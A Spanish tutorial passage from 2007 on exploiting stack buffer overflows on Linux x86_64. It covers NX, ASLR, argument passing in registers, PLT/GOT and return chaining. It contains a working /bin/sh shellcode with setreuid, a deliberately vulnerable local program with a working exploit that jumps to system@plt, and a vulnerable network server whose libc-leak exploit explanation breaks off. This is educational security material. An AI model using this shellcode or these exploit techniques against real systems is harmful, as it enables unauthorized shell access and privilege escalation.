=-|================================================-{ www.enye-sec.org }-====| =-[ Introduccion a los overflows en Linux x86_64 ]-==========================| =-|==========================================================================| =-[ por RaiSe ]-========================-[ 10/09/2007]-=| ------[ 0.- Indice ] 0.- Indice 1.- Prologo 2.- Novedades x86_64 2.1.- Modos de ejecucion 2.2.- Nuevos registros 2.3.- Mnemonicos de 64 bits 2.4.- Llamadas a syscalls 3.- Dificultades en el camino 3.1.- No ejecucion de codigo en paginas por hardware 3.2.- Direccion de carga de librerias pseudo-aleatoria 3.3.- Paso de argumentos a funciones 4.- Shellcodes 4.1.- Shellcode que ejecuta una shell 5.- Tecnicas de explotacion 5.1.- Ideas basicas 5.2.- PLT 5.3.- Saltando aqui y alla 6.- Ejemplos simples de explotacion 6.1.- bof1.c local 6.2.- bof2.c remoto 7.- Conclusiones 8.- Despedida ------[ 1.- Prologo ] Buenas. En este texto intentare aclarar un poco el tema de los overflows en sistemas Linux x86_64 (linux a 64 bits en los nuevos procesadores para PC: amd64, em64t, ..). No me metere a fondo en explicar conceptos teoricos, solo lo justo y necesario para lo que nos interesa: aprovechar los overflows en nuestro beneficio. Intentare por lo tanto ser lo mas practico posible, os recuerdo que este texto solo es una introduccion al tema. Para comprender este texto es necesario un conocimiento de la arquitectura x86, y entender como funcionan los buffer overflow en dicha arquitectura. Es posible que en el txt haya algun error, si es asi no dudes en hacermelo saber a traves de raise@enye-sec.org para que pueda subsanarlo, gracias :). ------[ 2.- Novedades x86_64 ] Con la llegada de los nuevos procesadores para PC de 64 bits han surgido muchas novedades. Aqui mencionare las que nos interesan desde el punto de vista de los overflows. Nota: Recordar que el orden en que se guardan los datos en memoria sigue siendo little-endian, lo que nos puede facilitar mucho las cosas a la hora de sobreescribir parcialmente un registro y cosas asi. ----[ 2.1.- Modos de ejecucion ] Las CPU's tienen varios modos de ejecucion. Basicamente se dividen en 2 grupos: long mode y legacy mode. En long mode el SO esta programado para ejecutarse en 64 bits, es decir siempre que se este en long mode el SO es de 64 bits, no puede instalarse windows 95 y el procesador estar en long mode por ejemplo. En legacy mode pasa al contrario, el SO siempre sera de 32 bits. Para abreviar, long mode: SO de 64 bits, legacy mode: SO de 32 bits (por el tema de la compatibilidad de SO's antiguos). Dentro del legacy mode hay 3 submodos, que son los mismos que cualquier CPU x86 moderna: protected mode, virtual-8086 mode y real mode. Directamente pasamos del legacy mode (es todo igual que en la arquitectura x86). Dentro del long mode (el que nos interesa), hay 2 submodos: 64-bit mode y compatibility mode, practicamente los nombres lo dicen todo. Un SO moderno de 64 bits puede ejecutar programas de 32 bits sin necesidad de recompilacion, porque?, gracias al compatibility mode. Tambien pasamos directamente del compatibility mode por lo mismo de antes. El interesante y con el que nos vamos a encontrar de aqui a unos años por todas partes es el 64-bit mode: un SO de 64 bits ejecutando codigo de 64 bits. ----[ 2.2.- Nuevos registros ] Pues bien, hay muchas novedades en el tema de registros del procesador. Vuelvo a recordar que estos registros solo estan disponibles en long mode - 64-bit mode (a partir de ahora se entendera que siempre estamos en ese modo de ejecucion). Los registros de antes (eax, ebx, ecx, edx, edi, esi..) siguen existiendo como registros de 32 bits (y son accesibles), pero solo son la mitad de los nuevos registros de 64 bits, que basicamente se llaman igual pero cambiando la e por la r, es decir: rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip. Son todos de 64 bits. Aparte se añaden 8 nuevos registros de 64 bits, que se llaman r8, r9, r10, r11, r12, r13, r14 y r15. Se puede acceder por partes a los registros. Por ejemplo 'r8d' es la parte baja de 32 bits del registro 'r8', 'r8w' la parte baja de 16 bits y 'r8b' es el byte bajo. A los registros "antiguos" se les accede como antes: 'eax' es la parte baja de 32 bits de 'rax', 'ax' la de 16 bits, 'al' la de 8 bits, etc. 'rip' es el nuevo registro de puntero de intruccion (en vez de 'eip'). Es de 64 bits porque el espacio de direcciones tambien, las posiciones de memoria son de 64 bits ('rsp' es de 64 bits..., vamos que todo, o casi, es de 64 bits). Los enteros (int) siguen siguendo de 4 bytes (32 bits), pero por ejemplo los long son de 8 bytes, los punteros son de 8 bytes, etc. ----[ 2.3.- Mnemonicos de 64 bits ] Las instrucciones en asm mas o menos son las mismas, con la salvedad del nombre de los registros. Es decir: 'mov rax,rdx' copia rax en rdx, etc. Hay que resaltar que la unica forma de hacer una llamada al sistema es a traves de la instruccion 'syscall'. Si hicieramos 'sysenter' por ejemplo generaria un error (os recuerdo que estamos en 'long mode & 64-bit mode'). Paso a la siguiente seccion porque aqui no hay mucho mas que contar. ----[ 2.4.- Llamadas a syscalls ] Como ya adelante en la seccion anterior, se hacen a traves de la instruccion 'syscall' (ni 'sysenter' ni 'int $0x80'). El numero de syscall a llamar se coloca en rax, y los argumentos en los siguientes registros por orden: rdi, rsi, rdx, r10, r8, r9 (siendo rdi el primer argumento, rsi el segundo, etc.). El valor devuelvo por la syscall se coloca en rax. Durante la syscall no se garantiza que se preserve el valor de rcx y r11 (vamos que hay que salvarlos antes si se tiene pensado utilizarlos luego para algo). ------[ 3.- Dificultades en el camino ] Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun mas dificultades. Definitivamente el tipico exploit_base.c en el que modificando cuatro valores tenias un exploit funcional ha pasado a la historia. ----[ 3.1.- No ejecucion de codigo en paginas por hardware ] Como iba diciendo se ha añadido algo basico para la seguridad del sistema. Antes las paginas de memoria (la memoria se divide en paginas, por cierto aprovecho para decir que en 'long mode' se han cargado directamente la segmentacion) no tenian la opcion hardware de ser de lectura y NO ejecutables, si eran de lectura eran ejecutables. Ahora si, una pagina de memoria puede ser por ejemplo de lectura/escritura y NO ejecutable. Con lo cual el stack, la memoria dinamica gestionada con *alloc (bss), la seccion de datos (data), etc., ya no es ejecutable, y nos sera imposible ejecutar en ella una shellcode (a no ser que se modifique para que ese area de memoria si sea ejecutable, con mprotect por ejemplo, o especificandolo en una llamada a mmap). ----[ 3.2.- Direccion de carga de librerias pseudo-aleatoria ] Aparte de la dificultad para ejecutar nuestra shellcode, saltar a la libc tampoco sera coser y cantar. El kernel ha sido parcheado para que las llamadas a mmap (la que se utiliza para cargar en memoria las librerias dinamicas como la libc) devuelvan un valor pseudo-aleatorio. El resultado es que en cada ejecucion de un proceso la libc (y todas las librerias dinamicas) se cargan en una direccion diferente. Ejemplo: [raise@enyelab ~]$ ldd /bin/id libc.so.6 => /lib64/libc.so.6 (0x00002af504e0c000) /lib64/ld-linux-x86-64.so.2 (0x00002af504cf1000) [raise@enyelab ~]$ ldd /bin/id libc.so.6 => /lib64/libc.so.6 (0x00002aae7b5eb000) /lib64/ld-linux-x86-64.so.2 (0x00002aae7b4d0000) Como veis las direcciones de las librerias son diferentes, a pesar de que el ejecutable ('/bin/id') sea exactamente el mismo. Eso hace que la conocida tecnica de return-into-libc no sea aplicable tal cual. ----[ 3.3.- Paso de argumentos a funciones ] Despues de eso direis: bueno, ya no puede ir peor. Pues si puede :). En Linux x86_64 las llamadas a funciones son un poco diferentes a las de x86 (llamadas a funciones normales, no me estoy refiriendo a syscalls). En la arquitectura x86 los argumentos a las funciones se pasaban a traves de la pila: se hacia 'push $arg2', 'push $arg1', 'call funcion'. Con lo cual si controlabas el stack justo al comienzo de una funcion controlabas sus argumentos. Esto se utilizaba mucho en la tecnica de retornar en la libc, ya que al controlar el stack (o un trozo de stack) controlabas los argumentos de paso a las funciones; luego solo era cuestion de ir enlazando llamadas con los argumentos apropiados y al final conseguias una shell (o lo que fuera). Ahora para complicarlo un poco mas, los argumentos se pasan en los registros del procesador. Para ser exactos se pasan en este orden: rdi, rsi, rdx, rcx, r8, r9 (siendo rdi el primer argumento de la funcion, rsi el segundo, etc.). De esta forma aunque controles el stack al llamar a una funcion no controlas sus argumentos, hay que apañarselas para colocar los argumentos necesarios en los registros adecuados. Aun asi la direccion de retorno si se sigue guardando en la pila. Nota: Hay casos en los que el argumento si se pasa a traves de la pila, por ejemplo cuando el arg es una estructura grande (mayor de 128 bits). Pero para los casos 'normales': enteros, longs, punteros, etc. se usan los registros, y en libc 'creo' que siempre que haya que pasar una estructura como argumento se pasa su direccion (puntero), con lo que siempre se usaran los registros para pasar argumentos a funciones (al menos en la libc actual). ------[ 4.- Shellcodes ] Las shellcodes para x86_64 son muy parecidas a las de x86. Practicamente solo cambian el nombre de los registros, y que se utiliza la instruccion 'syscall' para las llamadas al sistema en vez de 'sysenter' o 'int $0x80'. En este apartado pondre una shellcode que da una shell (lo tipico), pero en realidad las scodes no tienen mucho sentido en la explotacion de overflows en x86_64. Pocas veces podremos ejecutarlas debido al tema de las paginas no ejecutables, para conseguirlo tendriamos que reservar/modificar una zona de memoria a traves de mmap/mprotect, lo cual muchas veces es muy dificil. Es mucho mas facil ejecutar directamente las llamadas a la libc encadenadas que ingeniartelas para poder ejecutar una shellcode. A pesar de todo la pongo a modo 'academico'. ----[ 4.1.- Shellcode que ejecuta una shell ] ---- shellcode ---- char scode[]= /* __asm__("\ .byte 0xeb ;\ .byte 0x1f ;\ pop %rbx ;\ xor %rdi,%rdi ;\ xor %rsi,%rsi ;\ xor %eax,%eax ;\ movb $0x71,%al ;\ syscall ;\ mov %rbx,%rdi ;\ xor %rdx,%rdx ;\ push %rdx ;\ push %rdi ;\ mov %rsp,%rsi ;\ xor %rax,%rax ;\ movb $0x3b,%al ;\ syscall ;\ .byte 0xe8 ;\ .byte 0xdc ;\ .byte 0xff ;\ .byte 0xff ;\ .byte 0xff ;\ .string \"/bin/sh\" ;\ .byte 0x00 ;\ "); */ "\xeb\x1f\x5b\x48\x31\xff\x48\x31\xf6\x31\xc0\xb0\x71\x0f" "\x05\x48\x89\xdf\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31" "\xc0\xb0\x3b\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x73\x68\x00"; ---- eof ---- No tiene mucha ciencia, los 2 primeros bytes son el salto (jmp) de toda la vida de las shellcodes, y los 5 bytes del final antes del string de "/bin/sh" son el 'call' al 'pop %rbx'. Luego es lo mismo de siempre, colocar los argumentos en los registros apropiados y llamar a 'syscall'. La scode hace un setreuid(0,0) y un execve de "/bin/sh". El setreuid es por el tema de la bash del euid 0. La verdad es que la shellcode no es gran cosa, no deberia llevar el null del final sino que deberia ponerlo solo en tiempo de ejecucion, pero para fines didacticos es mas que suficiente ;P. Para probarla meter el __asm__() dentro de un main o cualquier funcion de codigo, o hacer un mmap con proteccion de ejecucion+escritura para poder copiar ahi la shellcode y ejecutarla: [raise@enyelab x86_64]$ ls -l test-scode -rwsr-xr-x 1 root root 10566 sep 10 00:39 test-scode* [raise@enyelab x86_64]$ ./test-scode sh-3.1# id uid=0(root) gid=500(raise) groups=500(raise) ------[ 5.- Tecnicas de explotacion ] En este apartado tratare de explicar un poco algunas tecnicas que pueden sernos de utilidad a la hora de explotar los overflows. Hay que decir que no hay una receta magica, se basan en el estudio del propio ejecutable vulnerable y de las librerias del sistema. Por lo tanto, es basico disponer de una copia local de lo que vayamos a utilizar (ejecutable, librerias a las que saltaremos, etc.), ya que utilizaremos direcciones exactas. En exploits locales no hay problema, en remoto habra que conseguirlo bajandose la libc de la distro en cuestion (suponiendo que no haya sido modificada/actualizada), y con el programa vulnerable mas de lo mismo. Si el programa vulnerable no viene de una instalacion precompilada (tipo rpm) con la distro la cosa se complica, habria que usar fuerza bruta o cosas parecidas que no se tratara en este texto. ----[ 5.1.- Ideas basicas ] Como decia todo se basa en el estudio del ejecutable y de las librerias dinamicas cargadas en memoria. Y direis: las librerias?, pero no se cargaban en direcciones de memoria pseudo-aleatorias?. Obviamente si, pero en algunos casos se puede averiguar la direccion de las libs en tiempo de ejecucion del programa vulnerable. De entrada recordaros que el programa vulnerable siempre se carga en una direccion de memoria establecida (al menos de momento, hay proyectos para que esto no sea asi y se carge como si fuera una libreria dinamica, pero en la actualidad no estan lo suficientemente maduros y no estan implantados 'de serie'). Por lo tanto tenemos unas direcciones a las que podemos saltar y de las que conocemos su contenido (instrucciones asm). Dependiendo del tamaño/complejidad del programa vulnerable esto nos da mucho juego; cientos/miles de instrucciones asm a las que podemos saltar. Si nos encontramos una instruccion 'syscall' (opcodes: 0x0f 0x05) dentro del programa vulnerable la cosa se simplifica mucho, ya que podremos ejecutar llamadas al sistema sin necesidad de conocer la direccion de la libc. Logicamente tendriamos que colocar los argumentos necesarios en los registros apropiados utilizando para ello el propio codigo (partes de el) del ejecutable, encadenando todos los trozos de codigo con 'rets' (os recuerdo que controlaremos el stack). Esto es lo tipico de los return-into-libc. Desgraciadamente pocas veces encontraremos una instruccion 'syscall' en el propio codigo del ejecutable, a no ser que una instruccion asm utilice los bytes 0x0f 0x05 como 'datos', y tengamos la suerte de que esten seguidos. Por lo tanto muchas veces tendremos que saltar a la libc (averiguando su direccion con metodos como el que veremos mas adelante en el PoC bof2.c), o a traves de la PLT. ----[ 5.2.- PLT ] Nota: Voy a intentar explicarlo brevemente y de forma practica, espero no cometer ningun error. Supongo que muchos sabeis que es la PLT (Procedure Linkage Table). Se usa para calcular en tiempo de ejecucion las direcciones de los procedimiendos (funciones) en las librerias de enlace dinamico. Se utiliza en conjuncion con GOT (Global Offset Table), que contiene las direccionas de memoria absolutas de las funciones una vez resueltas. Mas o menos funciona asi. Tenemos un codigo que ejecuta una llamada a una funcion de la libc y se compila de forma dinamica (si se compilara de forma estatica no se saltaria a la libc, sino que se copiaria la propia funcion en el codigo del ejecutable), por ejemplo este: ---- ejemplo-plt.c ---- #include int main(void) { printf("hola!\n"); } ---- eof ---- Hace una llamada a 'printf', que esta ubicada en la libc. En tiempo de compilacion es imposible saber cual es la direccion 'real' de la funcion printf, ya que la libc aun no se ha cargado en el espacio de direcciones del proceso. Por lo tanto en realidad se salta a una entrada de la PLT, que tienen esta pinta: 0x4003b0: jmpq *1049706(%rip) # 0x500820 <_GOT_+32> 0x4003b6: pushq $0x1 0x4003bb: jmpq 0x400390 Esta es la entrada PLT de la funcion printf, si nos fijamos en el codigo de main: (gdb) disass main Dump of assembler code for function main: 0x0000000000400478 : push %rbp 0x0000000000400479 : mov %rsp,%rbp 0x000000000040047c : mov $0x400578,%edi 0x0000000000400481 : callq 0x4003b0 0x0000000000400486 : leaveq 0x0000000000400487 : retq Vemos que el call (main+9) salta justo a la entrada PLT de printf. Ahora es cuando entra en juego la GOT (Global Offset Table). La primera instruccion de la entrada PLT hace un 'jmpq *1049706(%rip)', que en realidad es un salto al contenido de la entrada GOT de printf (0x500820). La GOT solo contiene datos, nunca se ejecutara codigo, es como un almacen donde se guardan los valores de las direcciones de las funciones. La primera vez que se ejecuta una entrada de la PLT hay que resolver primero la direccion que buscamos, por lo que la GOT siempre apuntara a la direccion siguiente (segunda instruccion de la entrada PLT correspondiente). Lo vemos: (gdb) x/1xg 0x500820 0x500820 <_GOT_+32>: 0x00000000004003b6 El contenido de la entrada GOT correspondiente a 'printf' apunta a la segunda instruccion de la entrada PLT de 'printf', es decir al 'pushq $0x1'. Porque?, porque el valor de la direccion de 'printf' nunca se ha resuelto aun, con lo que el 'jmpq *1049706(%rip)' en realidad salta al 'pushq $0x1'. Seguimos.. La PLT mete en la pila un valor (0x1), que sera necesario para que el dynamic linker (enlazador dinamico) sepa que la funcion a resolver es 'printf' y no otra. En una PLT cada entrada tiene dicho valor distinto para diferenciar las funciones que hay que resolver. Despues hace un 'jmpq 0x400390', que transfiere el control al dynamic linker, el cual resumiendo mucho resuelve la direccion absoluta de 'printf' y la coloca en su entrada correspondiente en la GOT (0x500820 para ser exactos). Despues transfiere el control a la misma, y por fin estamos en printf en la libc :). Luego por ejemplo si hacemos 8 llamadas a printf seguidas saltara a la PLT de 'printf' (como antes), pero ya se salta todo el rollo de resolver la direccion porque en la GOT (0x500820) ya estara la direccion real de 'printf'. Bueno, y porque todo este rollo?. Pues porque la PLT puede ser nuestra gran aliada, ya que se encuentra en el propio codigo del ejecutable, con lo cual se carga en una direccion de memoria prefijada y que conocemos. Por lo tanto podemos saltar a la entrada PLT de la funcion de libc que mas nos guste, que el enlazador dinamico se encargara de averiguar su direccion por nosotros. La pega es que para que la entrada PLT de 'nuestra' funcion este disponible, el programa vulnerable tiene que utilizarla en alguna parte de su codigo, ya que sino el compilador no la incluira y no estara en la PLT. Volvemos a lo de antes, cuanto mas complejo sea el programa vulnerable mas funciones utilizara, y mas facil lo tendremos para encontrar alguna que nos sea util. ----[ 5.3.- Saltando aqui y alla ] La frase de este titulo podria resumir la tecnica principal para conseguir explotar un overflow en Linux x86_64; ir saltando a trozos de codigo del propio ejecutable o alguna libreria dinamica. Como controlamos el stack (recordad que este texto trata sobre los overflows de pila), controlamos las direcciones de retorno. Por poner un ejemplo, queremos copiar 'rdx' en 'rdi', pues buscamos en el ejecutable/libs algo asi: 0x400642: mov %rdx,%rdi 0x400645: retq Como controlamos el stack, ese 'retq' (por cierto la 'q' es porque es de 64 bits) saltara a donde nosotros queramos, y de esta forma podemos ir enlazando trozos de codigo. Cuando sobreescribamos la direccion de retorno de la funcion vulnerable, todo lo que vaya a continuacion sera tratado como direcciones de retorno de nuestros 'trozos' de codigo encadenado. Por ejemplo, supongamos que aparte de querer copiar 'rdx' en 'rdi' queremos poner a cero 'rsi'. Y tenemos esto disponible en alguna parte: 0x400750: xor %rsi,%rsi 0x400752: retq Pues bien, solo tenemos que generar nuestro overflow con una pinta como esto: *AAAAAAAA's necesarios para provocar el overflow* *0x400642* *0x400750* *siguiente trozo de codigo + retq* *siguiente trozo de codigo + retq* .. La direccion de retorno de la funcion vulnerable se sobreescribe con 0x400642, con lo q salta ahi y ya tenemos 'rdx' en 'rdi'. Luego hace un retq: salta a 0x400750 -> xor %rsi,%rsi, y hace otro retq.., y asi vamos enlazando nuestros trozos de codigo. Por cierto, normalmente antes de un 'retq' hay un 'leaveq', para restaurar 'rbp'. Esto nos complica las cosas, ya que seria imposible enlazar dos trozos de codigo seguidos (o muy dificil, ya que habria que colocar en 'rbp' el valor correcto) que tuvieran un 'leaveq' antes del 'retq'. Pero este problema esta practicamente solucionado en el caso de saltar a la libc, ya que desde hace tiempo se ha compilado entera con la opcion fomit-frame-pointer. Asi mismo muchos programas/aplicaciones de usuario tambien se compilan con esa opcion, con lo que el 'rbp' no se salva/restaura al comienzo y final de una funcion. Pues bien, sabiendo todo esto solo hay que analizar los datos para poder explotar un overflow, saltar a los lugares idoneos con el stack adecuado, y ya tenemos un exploit :). ------[ 6.- Ejemplos simples de explotacion ] Vamos a ver un par de ejemplos muy sencillos de overflows+exploits hechos para ilustrar un poco las tecnicas descritas. De todas formas cada overflow es un mundo, estos 2 PoC's solo son un ejemplo entre mil (quiero decir que no hay una tecnica que valga 'para todo'). Pues bien, vamos a ello.. ----[ 6.1.- bof1.c local ] Este es un overflow tipico de pila, que se explotara de forma local. Es muy simple y esta orientado para que sea 'academico', por ejemplo la llamada a system() solo esta para que dicha funcion se encuentre en la PLT del ejecutable. ---- bof1.c ---- #include #include #include #include void basura(void) { system(NULL); } void f1(char *argv[]) { char buf[1024]; strcpy(buf, argv[1]); /* OVERFLOW */ } int main(int argc, char *argv[]) { f1(argv); return(0); } ---- eof ---- Como vemos este programilla lo unico que hace es llamar a la funcion f1(argv), la cual copia argv[1] en buf sin limite de tamaño a traves de strcpy. Es decir, se sobreescribe la direccion de retorno de f1. Bien, en este caso la solucion es muy sencilla, ya que tenemos la 'suerte' de que hay una entrada en la PLT de la funcion system. Ya se que esto no es muy realista, pero para entrar en materia es mas que sufuciente. Pues nada, como sabemos la direccion exacta de la entrada PLT de system solo tenemos que saltar a ella para conseguir nuestra shell. Aqui hay un par de comentarios a tener en cuenta. El primero es que la funcion strcpy añade un caracter nulo al final del string. En este caso no tiene importancia, porque la direccion que vamos a sobreescribir es exactamente esta: (gdb) x/1xg $rsp 0x7ffff6d3a078: 0x000000000040051e Ese es el valor que habra en el stack justo en el reqt del final de f1. Como nosotros vamos a saltar a la PLT cuya direccion de comienzo es 0x00000000004003c8 (objdump -t bof1 | grep .plt), significa que delante de lo que vamos a sobreescribir hay muchos ceros :). Aprovechandonos de que los datos en memoria se siguen guardando en little-endian podemos sobreescribir los 3 bytes bajos de la direccion de retorno, y el cuarto byte bajo se sobreescribira con el null que metera strcpy. Ahora bien, aqui la gran faena (x no decir otra cosa) es que ya no podemos enlazar varias llamadas seguidas, tenemos que ejecutar la shell del tiron (por culpa del null que mete strcpy). En realidad es muy sencillo, y aqui entra en juego un factor clave para la explotacion de los overflows. Como los argumentos de las funciones se pasan en los registros y no en el stack como antes, significa que despues de llamar a una funcion los registros no cambian, sigues teniendo los argumentos de la llamada anterior en ellos. Aprovechandonos de esto es coser y cantar. Recordamos como se produce el overflow: strcpy(buf, argv[1]); Esto significa que %rdi apuntara a buf, y que %rsi apuntara a argv[1]. El contenido de buf y argv[1] los controlamos, por lo tanto controlamos el buffer que se le pasara a system(): buf = %rdi. Con lo cual elaborando el overflow de esta forma conseguiremos ejecutar una shell: /bin/sh;#PADPADPADPAD..3 bytes bajos de la entrada PLT de system Hay que meter el numero justo de bytes para sobreescribir correctamente la direccion de retorno con los 3 bytes + el null; saltara a la entrada PLT de system y tendremos un system("/bin/sh;#PADPADPADPAD.."). Como metemos el caracter de comentario (#) lo que venga detras no se ejecutara. Veamos el exploit: ---- xpbof1.c ---- #include #include #include #include #define SYSTEM_PLT 0x00000000004003f8 int main(void) { char buf[2048]; unsigned long *p = (unsigned long *) buf; int i; memset(buf, 0x00, sizeof(buf)); for (i=0; i < 128; i++) *p++ = (unsigned long) 0x4141414141414141; *p++ = 0x4242424242424242; *p = SYSTEM_PLT; memcpy(buf, "/bin/sh;#", 9); execl("./bof1", "./bof1", buf, NULL); } ---- eof ---- El exploit mete 1024 bytes del caracter 'A' (0x41), que llenan buf[] en bof1 f1(). Despues mete 8 bytes del caracter 'B' (0x42), que seran el %rbp que se sobreescribira (suponemos que bof1 no se ha compilado con la opcion fomit-frame-pointer, si fuera asi estos 8 bytes habria que eliminarlos). Y luego metemos los 3 bytes de la entrada PLT de system (aunque en el exploit ponga *p = 0x00000000004003f8 solo es porque el puntero p es de tipo unsigned long, los 4 bytes nulos altos no se utilizaran ya que el primer null es el que marca el final de cadena, era para evitar hacer castings y demas :P). Para saber la direccion de la entrada PLT de system lo podemos mirar, o con el gdb: (gdb) disass basura Dump of assembler code for function basura: 0x00000000004004c8 : push %rbp 0x00000000004004c9 : mov %rsp,%rbp 0x00000000004004cc : mov $0x0,%edi 0x00000000004004d1 : callq 0x4003f8 <-- AQUI 0x00000000004004d6 : leaveq 0x00000000004004d7 : retq O con el objdump: [raise@enyelab x86_64]$ objdump -d bof1 | grep system@plt 00000000004003f8 : <-- AQUI Ahora solo queda probar el exploit: [raise@enyelab x86_64]$ ./xpbof1 sh-3.1$ Ya tenemos una shell :). Por cierto, la bash nos quitara el euid 0 en caso de dar a bof1 suid root, menos en debian creo (por un tema de que la bash que lleva esta modificada para que expresamente no lo haga). Para que no lo hiciera habria que hacer un setuid(0) (por ejemplo), o no utilizar system sino exec* y ejecutar una shell que no fuera bash (bof1 = didactico). ----[ 6.2.- bof2.c remoto ] Ahora veremos otro ejemplo de explotacion de un overflow (remoto) algo mas complejo que el anterior, pero que sigue siendo bastante sencillo. Se trata de un programilla que lo unico que hace es escuchar en un puerto, y cuando recibe una conexion mostrar un mensaje y pedir una contraseña. Al leer la contraseña es cuando se produce el overflow. Vemos el codigo: ---- bof2.c ---- #include #include #include #include #include #include #include #include #include /* funciones */ void manejador(int s); int main(int argc, char *argv[]) { int soc, soc2; struct sockaddr_in dire; if (argc != 2) { fprintf(stderr, "%s puerto\n", argv[0]); exit(-1); } if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) { fprintf(stderr, "Error al crear el socket.\n"); exit(-1); } bzero((void *) &dire, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons(atoi(argv[1])); dire.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) { fprintf(stderr, "Error al hacer bind, seguramente el puerto" " ya esta en uso.\n"); exit(-1); } listen(soc, 5); if ((soc2 = accept(soc, NULL, 0)) == -1) return(-1); else manejador(soc2); return(0); } /********** fin de main() ***********/ void manejador(int s) { char buf[1024]; write(s, "* BOF2 Server, bienvenid@ :)\n\n", 30); write(s, "Introduce tu clave:\n", 20); read(s, buf, 2*sizeof(buf)); /* OVERFLOW */ } /************ fin manejador() ************/ ---- eof ---- Muy simple. Hace un socket / bind / listen / accept, y el socket de la conexion se le pasa como argumento a la funcion manejador. Es ahi donde se produce el overflow ya que lee el doble de bytes del tamaño de buf (1024). Una ilustracion de lo simple que es el programa: -- [raise@enyelab x86_64]$ ./bof2 ./bof2 puerto [raise@enyelab x86_64]$ ./bof2 7777 & [1] 4038 [raise@enyelab x86_64]$ nc localhost 7777 * BOF2 Server, bienvenid@ :) Introduce tu clave: CLAVE_DE_PRUEBA [1]+ Done ./bof2 7777 [raise@enyelab x86_64]$ -- Lo unico que hicimos fue ejecutar ./bof2, el cual nos muestra un error para que indiquemos el numero de puerto, lo volvemos a ejecutar con el puerto 7777 en segundo plano, luego nos conectamos a localhost al puerto 7777, nos muestra el mensajito, metemos "CLAVE_DE_PRUEBA", y termina. Tan simple como eso :). Obviamente hay un overflow y si metemos 1040 A's como password: [raise@enyelab x86_64]$ nc localhost 7777 * BOF2 Server, bienvenid@ :) Introduce tu clave: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA's [1040] [1]+ Violación de segmento (core dumped) ./bof2 7777 El proceso que habia en segundo plano hace crash. Pues bien, ya sabemos lo que hace el programa y donde esta el overflow, y ahora como lo explotamos sino hay system() ni exec*() en la PLT?. Podemos intentar buscar una instruccion 'syscall' en el propio codigo del ejecutable, pero sin exito debido al poco tamaño del mismo. Definitivamente habra que saltar a la libc o a alguna libreria de enlace dinamico, pero como averiguamos su direccion exacta?. Aqui entra un poco en juego la imaginacion. Tenemos que utilizar las funciones de entrada/salida que use el programa vulnerable para averiguar la direccion de las librerias en tiempo de ejecucion. Es muy raro que un programa no haga E/S, y si la hace alguna funcion habra en la PLT que nos sirva. En este ejemplo tenemos read y write, pero en otros casos podria utilizarse *printf o similares. Ahora nos fijamos en donde se produce el overflow: read(s, buf, 2*sizeof(buf)); Como los registros no son modificados antes del retorno de la funcion manejador(), quiere decir que saltemos a donde saltemos sobreescribiendo la direccion de retorno tendremos: en %rdi el socket, en %rsi la direccion de buf, y en %rdx 2*sizeof(buf), o sea 2048. Con esos parametros lo tenemos muy facil, solo tenemos que sobreescribir la direccion de retorno con la entrada PLT de write, la cual nos enviara el contenido de buf (que ya lo sabemos y no nos importa) + 1024 bytes del stack. Analizando esos 1024 bytes de informacion sacaremos la direccion de libc. Si quisieramos 'mostrar' mas bytes, podriamos saltar a algo asi dentro del propio codigo de bof2: pop %rdx retq Como controlamos el stack meteriamos en %rdx el valor que quisieramos, y luego saltariamos a la entrada PLT de write con el retq. Las posibilidades son las que el programa vulnerable nos proporcione, solo hay que buscar a donde saltar. De todas formas en este caso no nos hace falta, ya que con 1024 bytes de informacion nos es suficiente. Bueno, estamos en que saltamos al write y nos muestra informacion, pero y luego?. Necesitamos 'volver' a provocar otro overflow en tiempo de ejecucion, ya que la informacion obtenida solo es valida para esa instancia del proceso, si volvemos a ejecutar bof2 otra vez la direccion de libc sera diferente y no nos servira de nada. Pues muy facil, volvemos a saltar read (entrada PLT), que ya tenemos los argumentos colocados :), y volvemos a provocar otro overflow, esta vez saltando directamente a la libc, ya que habremos calculado su direccion en el overflow anterior. Para hacer un resumen este es el esquema del overflow: * 1032 A's (sobreescribe %rbp de manejador tambien) * * direccion de entrada PLT de write * - aqui nos muestra la informacion del stack, la analizamos y calculamos la direccion de la libc - * direccion de entrada PLT de read * * 1048 bytes para rellenar el buffer * * siguiente direccion a donde saltamos * Bien, estamos en el punto en el que bof2 vuelve a hacer un read como el original, concretamente: read(s, buf, 2048) (no pongo el sizeof para abreviar). Recordemos que %rsp no se ha movido, en el momento en que salta al segundo read que nosotros hemos provocado apunta a buf[1048]. Por lo tanto, podemos modificar el siguiente salto en el SEGUNDO overflow, ya que esa direccion la podemos sobreescribir debido a que el read es de 2048 bytes. Pues bien, en el segundo overflow en vez de meter 1032 bytes de 'pad' metemos 1048, y la siguiente direccion sera a donde salta, o sea a la libc :). Ahora veamos como calculamos la direccion de libc (entre otras cosas) a partir de 1024 bytes del stack. Los 2048 bytes que nos envia 'write' son algo asi: 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x4141414141414141 * 1032 bytes de 0x4141.., es buf[] * 0x4006a0 0x400680 0x40090a 0x7fff9f98de08 0x20b234c00 0x611e0002 (nil) 0x7fff9f98de00 0x400000003 (nil) 0x2b0d0b252e64 0x400740 0x7fff9f98de08 0x200000000 0x4007f8 0x2b0d0b234c00 0xff0a00b98c173f6e * mas contenido que no nos interesa * Entre esas direcciones esta la de '_start' de bof2. Esto no lo voy a explicar a fondo porque me eternizo y no tiene mucha importancia a la hora de explotar. '_start' es la direccion en la que comienza a ejecutarse bof2, que llama a '__libc_start_main' en la libc, y que luego salta a 'main'. Como '__libc_start_main' esta en la libc, primero tiene que resolver la direccion el enlazador dinamico, que es el que salva en la pila la direccion de '_start'. Resumiendo, la direccion de '_start' no cambia ya que esta prefijada, asi que buscando ese valor en la pila veremos que esta justo despues de la direccion de una instruccion de '__libc_start_main'. Concretamente esta: 0x2b0559a20e60 <__libc_start_main+240>: callq *0x18(%rsp) 0x2b0559a20e64 <__libc_start_main+244>: mov %eax,%edi <-- ESTA Ese callq salta a 'main' en bof2, pero antes salva la direccion siguiente, 